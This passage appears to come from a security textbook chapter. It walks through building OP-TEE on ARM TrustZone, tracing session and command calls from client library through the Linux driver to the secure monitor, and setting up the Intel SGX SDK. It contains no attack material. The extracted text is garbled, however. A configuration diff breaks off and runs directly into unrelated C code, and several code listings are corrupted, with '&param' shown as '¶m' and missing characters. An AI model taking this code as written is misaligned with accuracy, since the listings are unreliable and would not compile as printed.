secure world driver that communicates with the secure world usually needs to use inter-processor communication to convert the request to the processor using the correct secure world. In addition, monitors on processors that are not used by secure world must be placed in context switching from non-secure world to malicious areas. Security interrupt conversion will therefore be easier, but it also means that secure world may reduce the efficiency of thread scheduling in non-secure world. In another design, we can choose to make the secure world revolve around the multi-processors in the system and make it run on only one processor at any point in time, which will make the secure world run more efficiently. Because it can be on the same processor as the non-secure world application that calls it, and the non-secure world load balances the scheduling of it. However, this also makes the conversion of security interrupts more complicated.
216
5.2.4
5 Techniques for IoT System Security
Set Up OP-TEE Development Environment
OP-TEE that follows the GlobalPlatform TEE specification is open-source. This section will introduce how to build an OP-TEE development environment in the QEMU13 virtual machine on Ubuntu 18.04 LTS Desktop 64bits. The steps are as follows:
5.2.4.1
Dependent Library Installation
Code 5.1 Install Dependent Libraries Using apt $sudo apt-get install android-tools-adb android-tools-fastboot autoconf \ automake bc bison build-essential cscope curl device-tree-compiler \ expect flex ftp-upload gdisk iasl libattr1-dev libc6:i386 libcap-dev \ libfdt-dev libftdi-dev libglib2.0-dev libhidapi-dev libncurses5-dev \ libpixman-1-dev libssl-dev libstdc++6:i386 libtool libz1:i386 make \ mtools netcat python-crypto python-serial python-wand unzip uuid-dev \ xdg-utils xterm xz-utils zlib1g-dev git repo
5.2.4.2
Download OP-TEE
Code 5.2 Download OP-TEE Using repo Command mkdir -p $HOME/optee cd $HOME/optee repo init -u https://github.com/OP-TEE/manifest.git -m default_stable.xml repo sync
5.2.4.3
Modify the Environment File
In order to meet the requirements of version adaptation, refer to the diff file of Code 5.3 to modify the ./optee/qemu/configure and ./optee/qemu/util/memfd.c files. Code 5.3 Modify the Configuration File diff --git a/configure b/configure index e31d6a7fee..11eac205ec 100755 --- a/configure +++ b/configure @@ -3910,7 +3910,7 @@ fi # check if memfd is supported
13
https://www.qemu.org/
5.2 ARM TrustZone Technology memfd=no cat > $TMPC num_params = TEEC_CONFIG_PAYLOAD_REF_COUNT; params = (struct tee_ioctl_param *)(arg + 1); uuid_to_octets(arg->uuid, destination); arg->clnt_login = connection_method; res = teec_pre_process_operation(ctx, operation, params, shm); if (res != TEEC_SUCCESS) { eorig = TEEC_ORIGIN_API; goto out_free_temp_refs; } rc = ioctl(ctx->fd, TEE_IOC_OPEN_SESSION, &buf_data); if (rc) { EMSG("TEE_IOC_OPEN_SESSION failed"); eorig = TEEC_ORIGIN_COMMS; res = ioctl_errno_to_res(errno); goto out_free_temp_refs; } res = arg->ret; eorig = arg->ret_origin; if (res == TEEC_SUCCESS) { session->ctx = ctx; session->session_id = arg->session; } teec_post_process_operation(operation, params, shm);
out_free_temp_refs: teec_free_temp_refs(operation, shm); out:
5.2 ARM TrustZone Technology
227
if (ret_origin) *ret_origin = eorig; return res; }
It works in the kernel through the ioctl function. The function in the kernel is tee_ioctl_open_session located in linux/driver/tee/tee_core.c. The tee_ioctl_shm_alloc function in the code allocates shared memory between the driver and the secure world. Code 5.9 The Key Code Executed by TEEC_OpenSession Function 2 static int tee_ioctl_open_session(struct tee_context *ctx, struct tee_ioctl_buf_data __user *ubuf) { int rc; size_t n; struct tee_ioctl_buf_data buf; struct tee_ioctl_open_session_arg __user *uarg; struct tee_ioctl_open_session_arg arg; struct tee_ioctl_param __user *uparams = NULL; struct tee_param *params = NULL; bool have_session = false; if (!ctx->teedev->desc->ops->open_session) return -EINVAL; if (copy_from_user(&buf, ubuf, sizeof(buf))) return -EFAULT; if (buf.buf_len > TEE_MAX_ARG_SIZE || buf.buf_len < sizeof(struct tee_ioctl_open_session_arg)) return -EINVAL; uarg = u64_to_user_ptr(buf.buf_ptr); if (copy_from_user(&arg, uarg, sizeof(arg))) return -EFAULT; if (sizeof(arg) + TEE_IOCTL_PARAM_SIZE(arg.num_params) != buf. buf_len) return -EINVAL; if (arg.num_params) { params = kcalloc(arg.num_params, sizeof(struct tee_param), GFP_KERNEL); if (!params) return -ENOMEM; uparams = uarg->params; rc = params_from_user(ctx, params, arg.num_params, uparams); if (rc) goto out; } rc = ctx->teedev->desc->ops->open_session(ctx, &arg, params); if (rc) goto out; have_session = true; if (put_user(arg.session, &uarg->session) || put_user(arg.ret, &uarg->ret) || put_user(arg.ret_origin, &uarg->ret_origin)) { rc = -EFAULT;
228
5 Techniques for IoT System Security
goto out; } rc = params_to_user(uparams, arg.num_params, params); out: /* *If we have successfully opened the session but failed to pass it back to user space, please close the session again to avoid leakage. */ if (rc && have_session && ctx->teedev->desc->ops->close_session) ctx->teedev->desc->ops->close_session(ctx, arg.session); if (params) { /* Decrease ref count for all valid shared memory pointers */ for (n = 0; n < arg.num_params; n++) if (tee_param_is_memref(params + n) && params[n].u.memref.shm) tee_shm_put(params[n].u.memref.shm); kfree(params); } return rc; } static int tee_ioctl_shm_alloc(struct tee_context *ctx, struct tee_ioctl_shm_alloc_data __user *udata) { long ret; struct tee_ioctl_shm_alloc_data data; struct tee_shm *shm; if (copy_from_user(&data, udata, sizeof(data))) return -EFAULT; /* Currently no input flags are supported */ if (data.flags) return -EINVAL; shm = tee_shm_alloc(ctx, data.size, TEE_SHM_MAPPED | TEE_SHM_DMA_BUF); if (IS_ERR(shm)) return PTR_ERR(shm); data.id = shm->id; data.flags = shm->flags; data.size = shm->size; if (copy_to_user(udata, &data, sizeof(data))) ret = -EFAULT; else ret = tee_shm_get_fd(shm); /* * When user space closes the file descriptor the shared memory * should be freed or if tee_shm_get_fd() failed then it will * be freed immediately. */ tee_shm_put(shm); return ret; }
5.2 ARM TrustZone Technology
229
Then call the optee_do_call_with_arg function of the linux/drivers/tee/optee/call. c file to trigger the smc to enter the monitor mode and switch to the secure world. In this function, the created session is added to the kernel’s session queue, which is used by the subsequent operation TEEC_InvokeCommand function. Code 5.10 The Key Code Executed by TEEC_OpenSession Function 3. u32 optee_do_call_with_arg(struct tee_context *ctx, phys_addr_t parg) { struct optee *optee = tee_get_drvdata(ctx->teedev); struct optee_call_waiter w; struct optee_rpc_param param = { }; u32 ret; param.a0 = OPTEE_SMC_CALL_WITH_ARG; reg_pair_from_64(¶m.a1, ¶m.a2, parg); /* Initialize waiter */ optee_cq_wait_init(&optee->call_queue, &w); while (true) { struct arm_smccc_res res; optee->invoke_fn(param.a0, param.a1, param.a2, param.a3, param.a4, param.a5, param.a6, param.a7, &res); if (res.a0 == OPTEE_SMC_RETURN_ETHREAD_LIMIT) { /* *Leave the thread in the secure world and wait for the thread to become available. */ optee_cq_wait_for_completion(&optee->call_queue, &w); } else if (OPTEE_SMC_RETURN_IS_RPC(res.a0)) { param.a0 = res.a0; param.a1 = res.a1; param.a2 = res.a2; param.a3 = res.a3; optee_handle_rpc(ctx, ¶m); } else { ret = res.a0; break; } } /* * We're done with our thread in secure world, if there's any * thread waiters wake up one. */ optee_cq_wait_final(&optee->call_queue, &w); return ret; }
230
5 Techniques for IoT System Security
After the open session operation is executed, the CA side will call the TA_OpenSessionEntryPoint function of the opee_client/libteec/src/tee_client_api.c file to return the result of the creation operation. In the process of opening the session, the entry_open_session function located in the optee_os/core/arch/arm/tee file will be executed on the TA side after the smc is issued. Code 5.11 The Key Code Executed by TEEC_OpenSession Function 4 static void entry_open_session(struct thread_smc_args *smc_args, struct optee_msg_arg *arg, uint32_t num_params) { TEE_Result res; TEE_ErrorOrigin err_orig = TEE_ORIGIN_TEE; struct tee_ta_session *s = NULL; TEE_Identity clnt_id; TEE_UUID uuid; struct tee_ta_param param; size_t num_meta; uint64_t saved_attr[TEE_NUM_PARAMS]; res = get_open_session_meta(num_params, arg->params, &num_meta, &uuid, &clnt_id); if (res != TEE_SUCCESS) goto out; res = copy_in_params(arg->params + num_meta, num_params - num_meta, ¶m, saved_attr); if (res != TEE_SUCCESS) goto cleanup_shm_refs; res = tee_ta_open_session(&err_orig, &s, &tee_open_sessions, &uuid, &clnt_id, TEE_TIMEOUT_INFINITE, ¶m); if (res != TEE_SUCCESS) s = NULL; copy_out_param(¶m, num_params - num_meta, arg->params + num_meta, saved_attr); /* *Usually we cannot predict the appearance of open/close session commands, which are used to increase the randomness of prng */ plat_prng_add_jitter_entropy(CRYPTO_RNG_SRC_JITTER_SESSION, &session_pnum); cleanup_shm_refs: cleanup_shm_refs(saved_attr, ¶m, num_params - num_meta); out: if (s)
5.2 ARM TrustZone Technology
231
arg->session = (vaddr_t)s; else arg->session = 0; arg->ret = res; arg->ret_origin = err_orig; smc_args->a0 = OPTEE_SMC_RETURN_OK; }
Then the CA terminal calls the TEEC_InvokeCommand function located in optee_client/libteec/src/tee_client_api.c to execute a specific command in the TA. Its key code is shown in Code 5.12. The parameters of this function include session information, command information, and parameter information to be passed to the TA (the parameter information is TEEC_Operation). Code 5.12 The Key Code Executed by the TEEC_InvokeCommand Function 1 TEEC_Result TEEC_InvokeCommand(TEEC_Session *session, uint32_t cmd_id, TEEC_Operation *operation, uint32_t *error_origin) { uint64_t buf[(sizeof(struct tee_ioctl_invoke_arg) + TEEC_CONFIG_PAYLOAD_REF_COUNT * sizeof(struct tee_ioctl_param)) / sizeof(uint64_t)] = { 0 }; struct tee_ioctl_buf_data buf_data; struct tee_ioctl_invoke_arg *arg; struct tee_ioctl_param *params; TEEC_Result res; uint32_t eorig; TEEC_SharedMemory shm[TEEC_CONFIG_PAYLOAD_REF_COUNT]; int rc; if (!session) { eorig = TEEC_ORIGIN_API; res = TEEC_ERROR_BAD_PARAMETERS; goto out; } bm_timestamp(); buf_data.buf_ptr = (uintptr_t)buf; buf_data.buf_len = sizeof(buf); arg = (struct tee_ioctl_invoke_arg *)buf; arg->num_params = TEEC_CONFIG_PAYLOAD_REF_COUNT; params = (struct tee_ioctl_param *)(arg + 1); arg->session = session->session_id; arg->func = cmd_id; if (operation) { teec_mutex_lock(&teec_mutex); operation->session = session;
232
5 Techniques for IoT System Security teec_mutex_unlock(&teec_mutex); }
res = teec_pre_process_operation(session->ctx, operation, params, shm); if (res != TEEC_SUCCESS) { eorig = TEEC_ORIGIN_API; goto out_free_temp_refs; } rc = ioctl(session->ctx->fd, TEE_IOC_INVOKE, &buf_data); if (rc) { EMSG("TEE_IOC_INVOKE failed"); eorig = TEEC_ORIGIN_COMMS; res = ioctl_errno_to_res(errno); goto out_free_temp_refs; } res = arg->ret; eorig = arg->ret_origin; teec_post_process_operation(operation, params, shm); bm_timestamp(); out_free_temp_refs: teec_free_temp_refs(operation, shm); out: if (error_origin) *error_origin = eorig; return res; }
It will call the tee_ioctl_invoke function in the linux/driver/tee/tee_core.c file through ioctl to perform specific operations in the kernel. Code 5.13 The Key Code Executed by the TEEC_InvokeCommand Function 2 static int tee_ioctl_invoke(struct tee_context *ctx, struct tee_ioctl_buf_data __user *ubuf) { int rc; size_t n; struct tee_ioctl_buf_data buf; struct tee_ioctl_invoke_arg __user *uarg; struct tee_ioctl_invoke_arg arg; struct tee_ioctl_param __user *uparams = NULL; struct tee_param *params = NULL; if (!ctx->teedev->desc->ops->invoke_func) return -EINVAL; if (copy_from_user(&buf, ubuf, sizeof(buf))) return -EFAULT; if (buf.buf_len > TEE_MAX_ARG_SIZE || buf.buf_len < sizeof(struct tee_ioctl_invoke_arg))
5.2 ARM TrustZone Technology
233
return -EINVAL; uarg = u64_to_user_ptr(buf.buf_ptr); if (copy_from_user(&arg, uarg, sizeof(arg))) return -EFAULT; if (sizeof(arg) + TEE_IOCTL_PARAM_SIZE(arg.num_params) != buf. buf_len) return -EINVAL; if (arg.num_params) { params = kcalloc(arg.num_params, sizeof(struct tee_param), GFP_KERNEL); if (!params) return -ENOMEM; uparams = uarg->params; rc = params_from_user(ctx, params, arg.num_params, uparams); if (rc) goto out; } rc = ctx->teedev->desc->ops->invoke_func(ctx, &arg, params); if (rc) goto out; if (put_user(arg.ret, &uarg->ret) || put_user(arg.ret_origin, &uarg->ret_origin)) { rc = -EFAULT; goto out; } rc = params_to_user(uparams, arg.num_params, params); out: if (params) { /* Decrease ref count for all valid shared memory pointers */ for (n = 0; n < arg.num_params; n++) if (tee_param_is_memref(params + n) && params[n].u.memref.shm) tee_shm_put(params[n].u.memref.shm); kfree(params); } return rc; }
Continue to call the optee_invoke_func function in the drivers/tee/optee/call.c file to save the parameter information to be passed to the TA in the shared memory and trigger the smc operation. After successfully switching to monitor mode to process the secure world end, return TEEC_Operation type data to CA. Code 5.14 The Key Code Executed by the TEEC_InvokeCommand Function 3 int optee_invoke_func(struct tee_context tee_ioctl_invoke_arg *arg, struct tee_param *param) { struct optee_context_data *ctxdata = ctx->data; struct tee_shm *shm; struct optee_msg_arg *msg_arg; phys_addr_t msg_parg;
*ctx,
struct
234
5 Techniques for IoT System Security struct optee_session *sess; int rc; /* Check that the session is valid */ mutex_lock(&ctxdata->mutex); sess = find_session(ctxdata, arg->session); mutex_unlock(&ctxdata->mutex); if (!sess) return -EINVAL; shm = get_msg_arg(ctx, arg->num_params, &msg_arg, &msg_parg); if (IS_ERR(shm)) return PTR_ERR(shm); msg_arg->cmd = OPTEE_MSG_CMD_INVOKE_COMMAND; msg_arg->func = arg->func; msg_arg->session = arg->session; msg_arg->cancel_id = arg->cancel_id; rc = optee_to_msg_param(msg_arg->params, arg->num_params, param); if (rc) goto out; if (optee_do_call_with_arg(ctx, msg_parg)) { msg_arg->ret = TEEC_ERROR_COMMUNICATION; msg_arg->ret_origin = TEEC_ORIGIN_COMMS; }
if (optee_from_msg_param(param, arg->num_params, msg_arg>params)) { msg_arg->ret = TEEC_ERROR_COMMUNICATION; msg_arg->ret_origin = TEEC_ORIGIN_COMMS; } arg->ret = msg_arg->ret; arg->ret_origin = msg_arg->ret_origin; out: tee_shm_free(shm); return rc; }
In the TA terminal, when CA calls the TEEC_InvokeCommand function to trigger smc, it will enter the standard processing entry function entry_invoke_command. Perform more operations based on the command parameters passed in from the kernel. The key functions include tee_ta_invoke_command, user_ta_enter_invoke_cmd, user_ta_enter. Code 5.15 The Key Code Executed by the TEEC_InvokeCommand Function 4 typedef struct { uint32_t started; uint32_t paramTypes; TEEC_Parameter params[TEEC_CONFIG_PAYLOAD_REF_COUNT]; /* Implementation-Defined */
5.2 ARM TrustZone Technology
235
TEEC_Session *session; } TEEC_Operation; static void entry_invoke_command(struct thread_smc_args *smc_args, struct optee_msg_arg *arg, uint32_t num_params) { TEE_Result res; TEE_ErrorOrigin err_orig = TEE_ORIGIN_TEE; struct tee_ta_session *s; struct tee_ta_param param = { 0 }; uint64_t saved_attr[TEE_NUM_PARAMS] = { 0 }; bm_timestamp(); res = copy_in_params(arg->params, num_params, ¶m, saved_attr); if (res != TEE_SUCCESS) goto out; s = tee_ta_get_session(arg->session, true, &tee_open_sessions); if (!s) { res = TEE_ERROR_BAD_PARAMETERS; goto out; } res = tee_ta_invoke_command(&err_orig, s, NSAPP_IDENTITY, TEE_TIMEOUT_INFINITE, arg->func, ¶m); bm_timestamp(); tee_ta_put_session(s); copy_out_param(¶m, num_params, arg->params, saved_attr); out: cleanup_shm_refs(saved_attr, ¶m, num_params); arg->ret = res; arg->ret_origin = err_orig; smc_args->a0 = OPTEE_SMC_RETURN_OK; } uint32_t thread_enter_user_mode(unsigned long a0, unsigned long a1, unsigned long a2, unsigned long a3, unsigned long user_sp, unsigned long entry_func, bool is_32bit, uint32_t *exit_status0, uint32_t *exit_status1) { uint32_t spsr; tee_ta_update_session_utime_resume();
236
5 Techniques for IoT System Security
if (!get_spsr(is_32bit, entry_func, &spsr)) { *exit_status0 = 1; /* panic */ *exit_status1 = 0xbadbadba; return 0; } return __thread_enter_user_mode(a0, a1, a2, a3, user_sp, entry_func, spsr, exit_status0, exit_status1); }
And finally execute the user mode from the thread_enter_user_mode function. After completing the TA terminal operation, the CA terminal needs to use the TEEC_CloseSession function and the TEEC_FinalizeContext function to log out and release. Code 5.16 The Key Code Executed by the TEEC_InvokeCommand Function 5 uint32_t thread_enter_user_mode(unsigned long a0, unsigned long a1, unsigned long a2, unsigned long a3, unsigned long user_sp, unsigned long entry_func, bool is_32bit, uint32_t *exit_status0, uint32_t *exit_status1) { uint32_t spsr; tee_ta_update_session_utime_resume(); if (!get_spsr(is_32bit, entry_func, &spsr)) { *exit_status0 = 1; /* panic */ *exit_status1 = 0xbadbadba; return 0; } return __thread_enter_user_mode(a0, a1, a2, a3, user_sp, entry_func, spsr, exit_status0, exit_status1); } FUNC __thread_enter_user_mode , : UNWIND( .fnstart) UNWIND( .cantunwind) /* * Save all registers to allow syscall_return() to resume execution * as if this function would have returned. This is also used in * syscall_panic(). * * If stack usage of this function is changed * thread_unwind_user_mode() has to be updated. */ push {r4-r12,lr} ldr ldr ldr
r4, [sp, #(10 * 0x4)] /* user stack pointer */ r5, [sp, #(11 * 0x4)] /* user function */ r6, [sp, #(12 * 0x4)] /* spsr */
5.2 ARM TrustZone Technology
237
TEEC_Initialize Context
TEEC_FinalizeConte xt
TEEC_CloseSession
TEEC_OpenSession
TEEC_PARAM_TYPES
TEEC_InvokeCommand
Fig. 5.19 Calling process of CA terminal function
/* * Save old user sp and set new user sp. */ cps #CPSR_MODE_SYS mov r7, sp mov sp, r4 cps #CPSR_MODE_SVC push {r7,r8} /* Prepare user mode entry via eret_to_user_mode */ cpsid aif msr spsr_fsxc, r6 mov lr, r5 b eret_to_user_mode UNWIND( .fnend) END_FUNC __thread_enter_user_mode
Figure 5.19 shows the calling process of CA terminal functions. The most critical step is that the CA terminal enters the monitor mode through the smc command. It is a new operating mode after ARM introduced TrustZone technology to switch between the secure world and non-secure world contexts. The computer can indicate that it is currently in a non-secure world or secure world by setting the NS bit on the bus. SMC (secure monitor call) is divided into fast smc and standard smc in OP-TEE. We used the standard smc in the CA terminal call process mentioned above. In fast smc, OP-TEE will be executed on the entry stack, and IRQ and FIQ will be blocked until the execution process returns to the normal world. For the standard smc, OP-TEE will perform the requested service at a certain moment, and the interrupt will not be blocked. In order to handle interrupts (mainly forwarding external interrupts), OP-TEE assigns a trusted thread that stores the execution context of the requested service to the smc request. When the requested service is executed and interrupted, we can pause and resume the context. It is worth noting that the trusted thread will be released only after the service execution returns to the completion status.
238
5 Techniques for IoT System Security
Fig. 5.20 The flow from smc entrance to secure world
Both fast smc and standard smc end up on the entry stack. IRQ or FIQ is blocked, and OP-TEE calls monitor through smc to return to the normal world. Figure 5.20 shows the execution flow from the smc entrance to the secure world. The complete processing of the monitor mode is summarized as follows. The key codes used in this process are shown in 5.17. 1. Call the smc command and switch to monitor mode. 2. The base address of the exception vector table in the exception vector table base address register. 3. Execute the sm_smc_entry function and save the value of the subroutine connection register and the program state save register, and push the data from r0 to r7. Then call the smc_from_nsec function according to whether the ns bit is set or not or save the secure world context and store the address of the non-secure world context in the r0 register to obtain the non-secure context information, and then call the sm_ret_to_nsec function. Code 5.17 Code 1 for Key Functions of Monitor Mode LOCAL_FUNC sm_smc_entry , : UNWIND( .fnstart) UNWIND( .cantunwind) srsdb sp!, #CPSR_MODE_MON push {r0-r7}
5.2 ARM TrustZone Technology clrex
239
/* Clear the exclusive monitor */
/*Find out if we are entering secure or non-secure*/ read_scr r1 tst r1, #SCR_NS bne .smc_from_nsec /* *When we come from -secure world, the stack pointer points to sm_ctx. sec.r0 at this stage. *After the following instruction, the stack pointer points to sm_ctx. */ sub sp, sp, #(SM_CTX_SEC + SM_SEC_CTX_R0) /* Save secure context */ add r0, sp, #SM_CTX_SEC bl sm_save_unbanked_regs /* * On FIQ exit we're restoring the non-secure context unchanged, on * all other exits we're shifting r1-r4 from secure context into * r0-r3 in non-secure context. */ add r8, sp, #(SM_CTX_SEC + SM_SEC_CTX_R0) ldm r8, {r0-r4} mov_imm r9, TEESMC_OPTEED_RETURN_FIQ_DONE cmp r0, r9 addne r8, sp, #(SM_CTX_NSEC + SM_NSEC_CTX_R0) stmne r8, {r1-r4} /* Restore non-secure context */ add r0, sp, #SM_CTX_NSEC bl sm_restore_unbanked_regs .sm_ret_to_nsec: /* * Back to the non-secure world */ add r0, sp, #(SM_CTX_NSEC + SM_NSEC_CTX_R8) ldm r0, {r8-r12} /* Renew SCR */ read_scr r0 orr r0, r0, #(SCR_NS | SCR_FIQ) /* Set NS and FIQ bit in SCR */ write_scr r0 /* * isb not needed since we're doing an exception return below * without dependency to the changes in SCR before that. */
240
5 Techniques for IoT System Security add sp, sp, #(SM_CTX_NSEC + SM_NSEC_CTX_R0) b .sm_exit
.smc_from_nsec: /* *When we come from the non-secure world, the stack pointer points to sm_ctx.nsec.r0 at this stage. *After the following instruction, the stack pointer points to sm_ctx. */ sub sp, sp, #(SM_CTX_NSEC + SM_NSEC_CTX_R0) bic r1, r1, #(SCR_NS | SCR_FIQ) /* Clear NS and FIQ bit in SCR */ write_scr r1 isb add stm
r0, sp, #(SM_CTX_NSEC + SM_NSEC_CTX_R8) r0, {r8-r12}
mov r0, sp bl sm_from_nsec cmp r0, #0 beq .sm_ret_to_nsec /* * Stay in secure world */ add sp, sp, #(SM_CTX_SEC + SM_SEC_CTX_R0)
(1) If the smc_from_nsec function is called in (3), then smc is triggered in the non-secure world. When the function is executed, the computer points the processor stack pointer to the non-secure world context; switch the processor state to the secure world state, and set the NS bit and FIQ position to 0; then call the sm_from_nsec function to parse and process the smc request; according to whether the return value of the function is 0, call sm_from_nsec or save the secure world context, and finally call the sm_exit function. Code 5.18 Key Function Code of Monitor Mode 2 .sm_exit: pop {r0-r7} rfefd sp! UNWIND( .fnend) END_FUNC sm_smc_entry FUNC sm_save_unbanked_regs , : UNWIND( .fnstart) UNWIND( .cantunwind) /*User mode registers must be saved from system mode*/ cps #CPSR_MODE_SYS stm r0!, {sp, lr}
5.2 ARM TrustZone Technology cps mrs stm
#CPSR_MODE_IRQ r2, spsr r0!, {r2, sp, lr}
cps mrs stm
#CPSR_MODE_FIQ r2, spsr r0!, {r2, sp, lr}
cps mrs stm
#CPSR_MODE_SVC r2, spsr r0!, {r2, sp, lr}
cps mrs stm
#CPSR_MODE_ABT r2, spsr r0!, {r2, sp, lr}
cps mrs stm
#CPSR_MODE_UND r2, spsr r0!, {r2, sp, lr}
#ifdef CFG_SM_NO_CYCLE_COUNTING read_pmcr r2 stm r0!, {r2} #endif cps #CPSR_MODE_MON bx lr UNWIND( .fnend) END_FUNC sm_save_unbanked_regs /*Restore specific mode registers*/ FUNC sm_restore_unbanked_regs , : UNWIND( .fnstart) UNWIND( .cantunwind) /*User mode registers must be saved from system mode*/ cps #CPSR_MODE_SYS ldm r0!, {sp, lr} cps ldm msr
#CPSR_MODE_IRQ r0!, {r2, sp, lr} spsr_fsxc, r2
cps ldm msr
#CPSR_MODE_FIQ r0!, {r2, sp, lr} spsr_fsxc, r2
cps ldm msr
#CPSR_MODE_SVC r0!, {r2, sp, lr} spsr_fsxc, r2
241
242
5 Techniques for IoT System Security cps ldm msr
#CPSR_MODE_ABT r0!, {r2, sp, lr} spsr_fsxc, r2
cps ldm msr
#CPSR_MODE_UND r0!, {r2, sp, lr} spsr_fsxc, r2
#ifdef CFG_SM_NO_CYCLE_COUNTING ldm r0!, {r2} write_pmcr r2 #endif cps #CPSR_MODE_MON bx lr UNWIND( .fnend) END_FUNC sm_restore_unbanked_regs bool sm_from_nsec(struct sm_ctx *ctx) { uint32_t *nsec_r0 = (uint32_t *)(&ctx->nsec.r0); if (!sm_platform_handler(ctx)) return false; #ifdef CFG_PSCI_ARM32 if (OPTEE_SMC_OWNER_NUM(*nsec_r0) == OPTEE_SMC_OWNER_STANDARD) { smc_std_handler((struct thread_smc_args *)nsec_r0, &ctx->nsec); return false; /* Return to non secure state */ } #endif sm_save_modes_regs(&ctx->nsec.mode_regs); sm_restore_modes_regs(&ctx->sec.mode_regs); memcpy(&ctx->sec.r0, nsec_r0, sizeof(uint32_t) * 8); if (OPTEE_SMC_IS_FAST_CALL(ctx->sec.r0)) ctx->sec.mon_lr = (uint32_t)&thread_vector_table. fast_smc_entry; else ctx->sec.mon_lr = (uint32_t)&thread_vector_table.std_smc_entry; return true; /* return into secure state */ }
(1) When (3) the sm_ret_to_nsec function is called, the values from r8 to r12 of the secure world context will be obtained; switch the NS and FIQ position 1 to the non-secure world context, and then save the non-secure world context to the sp., and finally call the sm_exit function. (2) Call the sm_exit function and exit the monitor mode. Perform a pop operation on r0 to r7 and return to the position that triggered the smc.
5.3 Intel SGX Technology
5.3
243
Intel SGX Technology
In the IoT chip market, in addition to the prominent position of ARM chips, the influential company, Intel, has also continuously introduced technologies and products that serve various IoT markets, and Intel SGX can be benchmarked with ARM TrustZone.
5.3.1
Introduction to Intel SGX
Intel SGX (Intel Software Guard Extensions), as an architecture extension designed by Intel Corporation in 2013 to solve widespread security vulnerabilities and system compromises, is actually a hardware-assisted trusted execution environment with a very small attack surface (TEE, but it is quite different from the GlobalPlatform TEE). It attempts to ensure the integrity and confidentiality of the operation of instructions in the computer. In the sixth-generation core processor, Intel began to introduce more than a dozen new architecture instructions related to SGX that can be used by applications to maintain a special area of code and data to prevent hackers from directly attacking and executing code stored in memory or data. Intel SGX is currently used to protect mission-critical applications designed by hundreds of independent software vendors and enterprise developers, such as data tamper-proof programs, financial data security programs, biometric and authentication programs, and terminal security programs. Figure 5.21 shows the two parts of an application using Intel SGX technology: untrusted zone and trusted zone (enclave). One untrusted zone can correspond to the code blocks of multiple trusted zones, which is to support the distributed architecture. According to Intel’s design goals, even after the bios, hypervisor (virtual machine management system), operating system, drivers, and applications are modified by malicious code, the code and data in the enclave environment are strictly protected. Intel SGX can perform local authentication or remote authentication between third-party enclaves, which can be used to ensure that the application has not been modified during distribution. Figure 5.22 shows the six stages of the Intel SGX application process:
Fig. 5.21 The relationship between untrusted zone and core zone code in SGX
244
5 Techniques for IoT System Security
Fig. 5.22 Intel SGX architecture diagram
1. 2. 3. 4.
Build applications using trusted zone and untrusted zone codes. Enclaves will be created in trusted memory when the application is running. The trusted code is called; the process context transitions to the enclave. The enclave environment can clearly see all process data, and all external programs are prohibited from accessing enclave data. 5. The trusted code is executed and returned to the non-security area; the enclave data will be stored in the trusted memory. 6. The application continues to run, and the subsequent process is the same as that of the traditional Windows binary program.
5.3.2
Set Up SGX Development Environment
Intel’s official website provides a wealth of information about SGX development, focusing on the SGX SDK that includes APIs, sample codes, usage documentation, and Microsoft Visual Studio development plug-ins. Developers can write applications with SGX in C or C++ language. The Intel SGX SDK that currently supports Windows and Linux can be downloaded from the official website. The download page is shown in Fig. 5.23 and Fig. 5.24.
5.3.2.1
Build on Windows Platform
Before using the Intel SGX SDK, we need to confirm whether the computer’s CPU supports SGX, and also whether the BIOS has turned on the SGX function switch in the Intel software advanced extension option in the BIOS (Fig. 5.25). After confirming that the CPU and BIOS conditions are met, we need to install the following software in order on the windows platform:
5.3 Intel SGX Technology
245
Fig. 5.23 Download of Intel SGX SDK for Windows (resource: https://software.intel.com/content/ www/us/en/develop/topics/software-guard-extensions/sdk.html)
1. The latest version of Intel Management Engine. 2. The latest professional version of Microsoft Visual Studio, and C++ tools need to be installed. 3. The latest version of Intel SGX SDX and Intel SGX platform software. After that, after opening Microsoft Visual Studio, we can create an SGX application project (Fig. 5.26).
5.3.2.2
Build on Linux Platform
The Linux platform used in this section is Ubuntu 18.04 installed using the code provided by GitHub. The steps to install the command are as follows:
246
5 Techniques for IoT System Security
Fig. 5.24 Download of Intel SGX SDK for Linux (resource:https://01.org/intel-software-guardextensions/downloads)
Fig. 5.25 SGX switch in BIOS
1. The command to install dependent software is as follows: $ apt-get install build-essential ocaml ocamlbuild automake autoconf libtool wget python libssl-dev
2. The command to install SGX SDK is as follows (Fig. 5.27):
5.3 Intel SGX Technology
Fig. 5.26 Create an SGX project in Microsoft Visual Studio
Fig. 5.27 Information displayed after the SGX SDK installation
$ git clone https://github.com/intel/linux-sgx.git $ cd ./linux-sgx $ ./download_prebuilt.sh $ make sdk_install_pkg $ cd ./linux/installer/bin $ sgx_linux_x64_sdk_2.3.101.46683.bin $ cd ../../../
247
248
5 Techniques for IoT System Security
Fig. 5.28 Information displayed after SGX PSW is installed
Fig. 5.29 Information displayed by the test program
3. The command to install SGX PSW is as follows (Fig. 5.28): $ make deb_sgx_enclave_common_pkg $ cd ./linux/installer/deb/libsgx-enclave-common $ dpkg -i libsgx-enclave-common_2.3.101.46683-1_amd64.deb $ cd ../../../../
4. Test whether the installation is complete. The complete display is shown in Fig. 5.29. $ cd ./SampleCode/SampleEnclave $ make $ ./app
5.3.3
The Verification Program Designs the Password with SGX
The function of the program designed in this section is the same as the function designed using OP-TEE in Sect. 5.2.4, that is, the password can be verified in the security area. The interface interaction process between the client and the trusted end is shown in Fig. 5.30. The functions and effects of the client are as follows:
5.3 Intel SGX Technology
249
Fig. 5.30 Creating an SGX project in Microsoft Visual Studio
1. 2. 3. 4. 5.
sgx_create_enclave(), create an enclave. Initialize_enclave(), initialize enclave. sgx_destroy_enclave(), destroy enclave. ocall_print_string(), defines an untrusted function. ecall_function(), call trusted function interface. App calls enclave trusted code Ecall. The core code of the client is shown in 5.19.
Code 5.19 The Core Code of the Client /* Check error conditions for loading enclave */ void print_error_message(sgx_status_t ret) { size_t idx = 0; size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0]; for (idx = 0; idx < ttl; idx++) { if(ret == sgx_errlist[idx].err) { if(NULL != sgx_errlist[idx].sug) printf("Info: %s\n", sgx_errlist[idx].sug); printf("Error: %s\n", sgx_errlist[idx].msg); break; } } if (idx == ttl) printf("Error code is 0x%X. Please refer to the \"Intel SGX SDK Developer Reference\" for more details.\n", ret); } /* Initialize the enclave: * Call sgx_create_enclave to initialize an enclave instance */ int initialize_enclave(void) { sgx_launch_token_t token = {0};
250
5 Techniques for IoT System Security sgx_status_t ret = SGX_ERROR_UNEXPECTED; int updated = 0;
